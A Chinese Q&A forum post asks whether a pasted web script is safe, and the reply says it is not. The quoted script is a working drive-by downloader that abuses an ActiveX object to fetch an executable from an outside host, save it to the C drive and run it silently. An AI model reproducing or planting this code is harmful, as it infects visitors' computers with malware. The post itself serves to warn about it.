请大家帮忙看看这段代码安全吗

来源:百度知道 编辑:UC知道 时间:2024/05/30 00:43:35
<script>var url,path;url="http://bouik.com/k/wint.exe";path="C:\\boot.exe";try{var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var xml=ado.CreateObject("Microsoft.XMLHTTP","");var as=ado.createobject("Adodb.Stream","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(path,"","","open",0);}catch(e){};</script>
<script type="text/jscript">
function init() {
document.write(Date());

}
window.onload = init;
</script>

不安全啊,它会从网上下http://bouik.com/k/wint.exe";这个文件到你的C盘,存为boot.exe,然后再执行它。